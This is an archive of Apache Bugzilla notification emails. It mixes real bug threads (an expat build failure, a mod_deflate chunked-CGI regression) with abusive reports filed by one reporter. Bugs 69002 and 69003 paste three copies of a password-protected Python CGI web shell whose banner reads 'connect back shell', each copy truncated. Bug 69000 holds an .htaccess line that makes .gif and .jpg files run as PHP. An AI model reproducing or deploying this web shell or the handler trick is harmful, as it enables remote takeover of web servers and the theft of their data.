[Bug 68995] Apache compile goes through but httpd -V throws error

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=68995

--- Comment #1 from sakamurivand...@gmail.com ---
Works with expat 2.5.0. Issue only with expat 2.6.2

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 40837] PHP 5.2.0 RC7-DEV, Apache 2.2.3 doesn't start (i know you don't know PHP things but PHP Team didn't help)

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=40837

flm2r  changed:

   What|Removed |Added

  Attachment #39711|file_40837.txt  |file_40837.html
   filename||
  Attachment #39711|0   |1
   is patch||

--- Comment #3 from flm2r  ---
Comment on attachment 39711
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39711
.html



-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 40837] PHP 5.2.0 RC7-DEV, Apache 2.2.3 doesn't start (i know you don't know PHP things but PHP Team didn't help)

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=40837

--- Comment #2 from flm2r  ---
Created attachment 39711
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39711=edit
.html

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 40837] PHP 5.2.0 RC7-DEV, Apache 2.2.3 doesn't start (i know you don't know PHP things but PHP Team didn't help)

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=40837

--- Comment #1 from flm2r  ---










-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 64604] impossible to build a RPM of the mod_session on version 2.4.43

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=64604

--- Comment #1 from flm2r  ---
#!/bin/sh

# post_upload.htm example:
# 
# 
# 
# File to upload:  
# 

# POST upload format:
# -29995809218093749221856446032^M
# Content-Disposition: form-data; name="file1"; filename="..."^M
# Content-Type: application/octet-stream^M
# ^M<- headers end with empty line
# file contents
# file contents
# file contents
# ^M<- extra empty line
# -29995809218093749221856446032--^M

file=$(mktemp)

CR=`printf '\r'`

# CGI output must start with at least empty line (or headers)
printf '\r\n'

IFS="$CR"
read -r delim_line
IFS=""

while read -r line; do
test x"$line" = x"" && break
test x"$line" = x"$CR" && break
done

cat >"$file"

# We need to delete the tail of "\r\ndelim_line--\r\n"
tail_len=$((${#delim_line} + 6))

# Get and check file size
filesize=`stat -c"%s" "$file"`
test "$filesize" -lt "$tail_len" && exit 1

# Check that tail is correct
dd if="$file" skip=$((filesize - tail_len)) bs=1 count=1000 >"$file.tail"
2>/dev/null
printf "\r\n%s--\r\n" "$delim_line" >"$file.tail.expected"
if ! diff -q "$file.tail" "$file.tail.expected" >/dev/null; then
printf "\n\nMalformed file upload"
exit 1
fi
rm "$file.tail"
rm "$file.tail.expected"

# Truncate the file
dd of="$file" seek=$((filesize - tail_len)) bs=1 count=0 >/dev/null 2>/dev/null

printf "\n\nFile upload has been accepted"

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69005] s.php

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69005

flm2r  changed:

   What|Removed |Added

  Attachment #39709|0   |1
is obsolete||

--- Comment #3 from flm2r  ---
Created attachment 39710
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39710=edit
s.php

 39709: 

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69005] s.php

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69005

flm2r  changed:

   What|Removed |Added

 CC||sn50...@gmail.com

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69005] s.php

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69005

--- Comment #2 from flm2r  ---
Comment on attachment 39709
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39709




-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69005] s.php

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69005

--- Comment #1 from flm2r  ---
Comment on attachment 39709
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39709




-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69005] New: s.php

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69005

Bug ID: 69005
   Summary: s.php
   Product: Apache httpd-2
   Version: 2.5-HEAD
  Hardware: All
OS: All
Status: NEW
  Severity: major
  Priority: P2
 Component: All
  Assignee: bugs@httpd.apache.org
  Reporter: sn50...@gmail.com
  Target Milestone: ---

Created attachment 39709
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39709=edit




-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69000]

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69000

flm2r  changed:

   What|Removed |Added

  Attachment #39705|htaccess|.htaccess
   filename||

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69000]

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69000

--- Comment #2 from flm2r  ---
Comment on attachment 39705
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39705


>AddType application/x-httpd-php .gif AddType application/x-httpd-php .jpg

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69003] s

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69003

flm2r  changed:

   What|Removed |Added

 CC||sn50...@gmail.com

--- Comment #2 from flm2r  ---
Created attachment 39708
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39708=edit




-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69003] s

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69003

--- Comment #1 from flm2r  ---
#!/usr/bin/python
import sys, os, cgi, commands, time, Cookie, socket, pty,select
from base64 import b64encode
from stat import *
from datetime import datetime
sys.stderr = open(os.devnull, 'w')
password = "27db7898211c8ccbeb4d5a97d198839a" # root
version = "0.5 [PRIV9]"
esc = '%s['%chr(27)
color = esc + "1;36m"
reset = esc + "0m"
# don't ask why i did it this way, ''' doesnt agree with pty's
ascii =
color
ascii +='  @@@ @@@  @@@ @@@ @@@  @@@  @@@ @@@  @@@ @@  @@ 
@@@ \r\n'#
ascii +=' !@@  @@!  @@@ @@! @@!  @@@ @@!  @@@ @@! !@@  @@@ @@! @@! 
@@!\r\n'#
ascii +=' !@!  @!@!@!@! !!@ @!@@!@!  @!@@!@!   !@!@!   !@!  @!!!:   @!!!:  
   @!! \r\n'#
ascii +=' :!!  !!:  !!! !!: !!:  !!:!!:!!! !!: !!: 
.!!:   \r\n'#
ascii +='  :: :: :  :   : : ::: .: :   ::: ::  ::: :: 
: : \r\n'#
ascii +=' ~[  P R I V 8  C O N N E C T   B A C K   S H E L L  ]~   
   \r\n'#
ascii +=
reset###
 

def getall(theform, nolist = False):
data = {}
for field in theform.keys():
if type(theform[field]) ==  type([]):
if not nolist:
data[field] = theform.getlist(field)
else:
data[field] = theform.getfirst(field)
elif theform[field].filename:
_FILES[field] = theform[field]
else:
data[field] = theform[field].value
return data

def escape(str):
return str.replace("'", "\\'").replace("\r", "\\r").replace("\n", "\\n")

_FILES = {}
_REQUEST = getall( cgi.FieldStorage() )
if _REQUEST.has_key('charset') == False:
_REQUEST['charset'] = "Windows-1251"
if _REQUEST.has_key('a') == False:
_REQUEST['a'] = "files"
if _REQUEST.has_key('c') == False:
_REQUEST['c'] = os.getcwd()
if _REQUEST.has_key('p1') == False:
_REQUEST['p1'] = ""
if _REQUEST.has_key('p2') == False:
_REQUEST['p2'] = ""
if _REQUEST.has_key('p3') == False:
_REQUEST['p3'] = ""

_COOKIE = Cookie.SimpleCookie()
try:
_COOKIE.load(os.environ["HTTP_COOKIE"])
except:
pass

def printLogin():
_COOKIE['psswd'] = "";
print _COOKIE;
print "Content-type: text/html\n";
print """
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt
Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color:#00cfcf !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt
Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{
margin:0;color:#00afaf;background-color:#555;border:1px solid #00afcf; font:
24pt Monospace,"Courier New"; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre,.m{font-family:Courier,Monospace;}

Password: """
exit()

if _COOKIE.has_key('psswd') and len(_COOKIE['psswd'].value) > 0 :
if _COOKIE['psswd'].value != password:
printLogin()
elif _REQUEST.has_key('psswd'):
try:
import hashlib
psswd = hashlib.md5()
except:
import md5
psswd = md5.new()
psswd.update(_REQUEST['psswd'])
if psswd.hexdigest() != password:
printLogin()
else:
_COOKIE['psswd'] = psswd.hexdigest()

else:
printLogin()

print _COOKIE
home_dir = os.getcwd()

try:
os.chdir(_REQUEST['c'])
except os.error, msg:
pass

cwd = os.getcwd();
if cwd[-1] != '/':
cwd += '/'

def printHeader():
print "Content-type: text/html\n";
print "" + os.environ["SERVER_NAME"] + " -
LSDShell " + version + """

body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt
Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color:#00cfcf !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt
Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }

[Bug 69003] New: s

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69003

Bug ID: 69003
   Summary: s
   Product: Apache httpd-test
   Version: unspecified
  Hardware: All
OS: Linux
Status: NEW
  Severity: normal
  Priority: P2
 Component: framework
  Assignee: bugs@httpd.apache.org
  Reporter: sn50...@gmail.com
  Target Milestone: ---

#!/usr/bin/python
import sys, os, cgi, commands, time, Cookie, socket, pty,select
from base64 import b64encode
from stat import *
from datetime import datetime
sys.stderr = open(os.devnull, 'w')
password = "27db7898211c8ccbeb4d5a97d198839a" # root
version = "0.5 [PRIV9]"
esc = '%s['%chr(27)
color = esc + "1;36m"
reset = esc + "0m"
# don't ask why i did it this way, ''' doesnt agree with pty's
ascii =
color
ascii +='  @@@ @@@  @@@ @@@ @@@  @@@  @@@ @@@  @@@ @@  @@ 
@@@ \r\n'#
ascii +=' !@@  @@!  @@@ @@! @@!  @@@ @@!  @@@ @@! !@@  @@@ @@! @@! 
@@!\r\n'#
ascii +=' !@!  @!@!@!@! !!@ @!@@!@!  @!@@!@!   !@!@!   !@!  @!!!:   @!!!:  
   @!! \r\n'#
ascii +=' :!!  !!:  !!! !!: !!:  !!:!!:!!! !!: !!: 
.!!:   \r\n'#
ascii +='  :: :: :  :   : : ::: .: :   ::: ::  ::: :: 
: : \r\n'#
ascii +=' ~[  P R I V 8  C O N N E C T   B A C K   S H E L L  ]~   
   \r\n'#
ascii +=
reset###
 

def getall(theform, nolist = False):
data = {}
for field in theform.keys():
if type(theform[field]) ==  type([]):
if not nolist:
data[field] = theform.getlist(field)
else:
data[field] = theform.getfirst(field)
elif theform[field].filename:
_FILES[field] = theform[field]
else:
data[field] = theform[field].value
return data

def escape(str):
return str.replace("'", "\\'").replace("\r", "\\r").replace("\n", "\\n")

_FILES = {}
_REQUEST = getall( cgi.FieldStorage() )
if _REQUEST.has_key('charset') == False:
_REQUEST['charset'] = "Windows-1251"
if _REQUEST.has_key('a') == False:
_REQUEST['a'] = "files"
if _REQUEST.has_key('c') == False:
_REQUEST['c'] = os.getcwd()
if _REQUEST.has_key('p1') == False:
_REQUEST['p1'] = ""
if _REQUEST.has_key('p2') == False:
_REQUEST['p2'] = ""
if _REQUEST.has_key('p3') == False:
_REQUEST['p3'] = ""

_COOKIE = Cookie.SimpleCookie()
try:
_COOKIE.load(os.environ["HTTP_COOKIE"])
except:
pass

def printLogin():
_COOKIE['psswd'] = "";
print _COOKIE;
print "Content-type: text/html\n";
print """
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt
Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color:#00cfcf !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt
Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{
margin:0;color:#00afaf;background-color:#555;border:1px solid #00afcf; font:
24pt Monospace,"Courier New"; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre,.m{font-family:Courier,Monospace;}

Password: """
exit()

if _COOKIE.has_key('psswd') and len(_COOKIE['psswd'].value) > 0 :
if _COOKIE['psswd'].value != password:
printLogin()
elif _REQUEST.has_key('psswd'):
try:
import hashlib
psswd = hashlib.md5()
except:
import md5
psswd = md5.new()
psswd.update(_REQUEST['psswd'])
if psswd.hexdigest() != password:
printLogin()
else:
_COOKIE['psswd'] = psswd.hexdigest()

else:
printLogin()

print _COOKIE
home_dir = os.getcwd()

try:
os.chdir(_REQUEST['c'])
except os.error, msg:
pass

cwd = os.getcwd();
if cwd[-1] != '/':
cwd += '/'

def printHeader():
print "Content-type: text/html\n";
print "" + os.environ["SERVER_NAME"] + " -
LSDShell " + version + """

body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt
Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color:#00cfcf !important; }
span{ font-weight: bolder; }

[Bug 69002] New: s

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69002

Bug ID: 69002
   Summary: s
   Product: Apache httpd-test
   Version: unspecified
  Hardware: All
OS: Linux
Status: NEW
  Severity: normal
  Priority: P2
 Component: framework
  Assignee: bugs@httpd.apache.org
  Reporter: sn50...@gmail.com
  Target Milestone: ---

Created attachment 39706
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39706=edit
s

#!/usr/bin/python
import sys, os, cgi, commands, time, Cookie, socket, pty,select
from base64 import b64encode
from stat import *
from datetime import datetime
sys.stderr = open(os.devnull, 'w')
password = "27db7898211c8ccbeb4d5a97d198839a" # root
version = "0.5 [PRIV9]"
esc = '%s['%chr(27)
color = esc + "1;36m"
reset = esc + "0m"
# don't ask why i did it this way, ''' doesnt agree with pty's
ascii =
color
ascii +='  @@@ @@@  @@@ @@@ @@@  @@@  @@@ @@@  @@@ @@  @@ 
@@@ \r\n'#
ascii +=' !@@  @@!  @@@ @@! @@!  @@@ @@!  @@@ @@! !@@  @@@ @@! @@! 
@@!\r\n'#
ascii +=' !@!  @!@!@!@! !!@ @!@@!@!  @!@@!@!   !@!@!   !@!  @!!!:   @!!!:  
   @!! \r\n'#
ascii +=' :!!  !!:  !!! !!: !!:  !!:!!:!!! !!: !!: 
.!!:   \r\n'#
ascii +='  :: :: :  :   : : ::: .: :   ::: ::  ::: :: 
: : \r\n'#
ascii +=' ~[  P R I V 8  C O N N E C T   B A C K   S H E L L  ]~   
   \r\n'#
ascii +=
reset###
 

def getall(theform, nolist = False):
data = {}
for field in theform.keys():
if type(theform[field]) ==  type([]):
if not nolist:
data[field] = theform.getlist(field)
else:
data[field] = theform.getfirst(field)
elif theform[field].filename:
_FILES[field] = theform[field]
else:
data[field] = theform[field].value
return data

def escape(str):
return str.replace("'", "\\'").replace("\r", "\\r").replace("\n", "\\n")

_FILES = {}
_REQUEST = getall( cgi.FieldStorage() )
if _REQUEST.has_key('charset') == False:
_REQUEST['charset'] = "Windows-1251"
if _REQUEST.has_key('a') == False:
_REQUEST['a'] = "files"
if _REQUEST.has_key('c') == False:
_REQUEST['c'] = os.getcwd()
if _REQUEST.has_key('p1') == False:
_REQUEST['p1'] = ""
if _REQUEST.has_key('p2') == False:
_REQUEST['p2'] = ""
if _REQUEST.has_key('p3') == False:
_REQUEST['p3'] = ""

_COOKIE = Cookie.SimpleCookie()
try:
_COOKIE.load(os.environ["HTTP_COOKIE"])
except:
pass

def printLogin():
_COOKIE['psswd'] = "";
print _COOKIE;
print "Content-type: text/html\n";
print """
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt
Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color:#00cfcf !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt
Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{
margin:0;color:#00afaf;background-color:#555;border:1px solid #00afcf; font:
24pt Monospace,"Courier New"; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre,.m{font-family:Courier,Monospace;}

Password: """
exit()

if _COOKIE.has_key('psswd') and len(_COOKIE['psswd'].value) > 0 :
if _COOKIE['psswd'].value != password:
printLogin()
elif _REQUEST.has_key('psswd'):
try:
import hashlib
psswd = hashlib.md5()
except:
import md5
psswd = md5.new()
psswd.update(_REQUEST['psswd'])
if psswd.hexdigest() != password:
printLogin()
else:
_COOKIE['psswd'] = psswd.hexdigest()

else:
printLogin()

print _COOKIE
home_dir = os.getcwd()

try:
os.chdir(_REQUEST['c'])
except os.error, msg:
pass

cwd = os.getcwd();
if cwd[-1] != '/':
cwd += '/'

def printHeader():
print "Content-type: text/html\n";
print "" + os.environ["SERVER_NAME"] + " -
LSDShell " + version + """

body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt
Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; 

[Bug 69000]

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69000

flm2r  changed:

   What|Removed |Added

 CC||sn50...@gmail.com

--- Comment #1 from flm2r  ---
Created attachment 39705
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39705=edit













-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 69000] New:

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=69000

Bug ID: 69000
   Summary: 
   Product: Apache httpd-2
   Version: 2.5-HEAD
  Hardware: PC
Status: NEW
  Severity: normal
  Priority: P2
 Component: All
  Assignee: bugs@httpd.apache.org
  Reporter: sn50...@gmail.com
  Target Milestone: ---



-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 68999] New:

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=68999

Bug ID: 68999
   Summary: 
   Product: Apache httpd-2
   Version: 2.5-HEAD
  Hardware: PC
Status: NEW
  Severity: normal
  Priority: P2
 Component: All
  Assignee: bugs@httpd.apache.org
  Reporter: sn50...@gmail.com
  Target Milestone: ---

Created attachment 39703
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39703=edit




-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 68970] mod_deflate no longer properly handles chunked responses from CGI scripts

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=68970

--- Comment #22 from Joe Orton  ---
(In reply to Allan Schrum from comment #20)
> So, can you point out how NPH is setup with Apache 2.4?

Rename your CGI script to have an nph- prefix.

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 68970] mod_deflate no longer properly handles chunked responses from CGI scripts

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=68970

--- Comment #21 from Joe Orton  ---
Created attachment 39702
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=39702=edit
minimal repro case?

Minimal CGI repro case copy and pasted from the SOAP output here.

Test Configuration:

   AddOutputFilter DEFLATE .sh


1. Test with Fedora httpd 2.4.56  (I have it to hand)

# curl http://localhost/cgi-bin/soap.sh
-- works
# curl --compressed http://localhost/cgi-bin/soap.sh
curl: (56) Illegal or missing hexadecimal sequence in chunked-encoding
-- broken because DEFLATE-encoded chunks doesn't work

2. Test with Fedora httpd 2.4.59

# curl http://localhost/cgi-bin/soap.sh
-- works but prints raw chunked output
# curl -v --compressed http://localhost/cgi-bin/soap.sh
-- works but prints raw chunked output

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 68970] mod_deflate no longer properly handles chunked responses from CGI scripts

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=68970

--- Comment #20 from Allan Schrum  ---
You folks are in a better position to create this minimal configuration than I
am. The configuration I have is internal and cannot be released. However, take
the basic install, enable mod_deflate and see it fail. Then disable mod_deflate
and see it work. Creating a small CGI process that generates chunked output is
easy. You can even use the one I provided and simply "cat" it out (after adding
the missing headers).

Does NPH even work? I've seen a lot of articles indicate that NPH does not work
with Apache but they were for older versions. I've looked and only found the
mod_asis module but it also indicates that it will insert or correct a
Content-Length header which essentially defeats the Transfer-Encoding header.
That seems like a bug.

https://httpd.apache.org/docs/current/mod/mod_asis.html

So, can you point out how NPH is setup with Apache 2.4?

And can you comment on the mod_asis module if that is the replacement for NPH?
As well as the implied bug it has?

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org



[Bug 68970] mod_deflate no longer properly handles chunked responses from CGI scripts

2024-05-13 Thread bugzilla
https://bz.apache.org/bugzilla/show_bug.cgi?id=68970

--- Comment #19 from Joe Orton  ---
> 4. Convert our CGI processes to be NPH

I think this is the correct approach. This is an explicit opt-out from httpd
interpreting any headers, which is exactly what you want/expect to happen.
Because it short-circuits content-level filtering, a filter like DEFLATE will
not further transform/corrupt the response.

You have you still not demonstrated a minimal reproducer + config which shows a
CGI script producing chunked output through a DEFLATE filter without response
corruption?

IMO rather than double-down on the opt-out, mod_cgi* should fail with 5xx for
(non-nph) CGI output which includes Transfer-Encoding because it breaks so many
assumptions, e.g. with content-level filters. PoC:
https://github.com/apache/httpd/pull/444

-- 
You are receiving this mail because:
You are the assignee for the bug.
-
To unsubscribe, e-mail: bugs-unsubscr...@httpd.apache.org
For additional commands, e-mail: bugs-h...@httpd.apache.org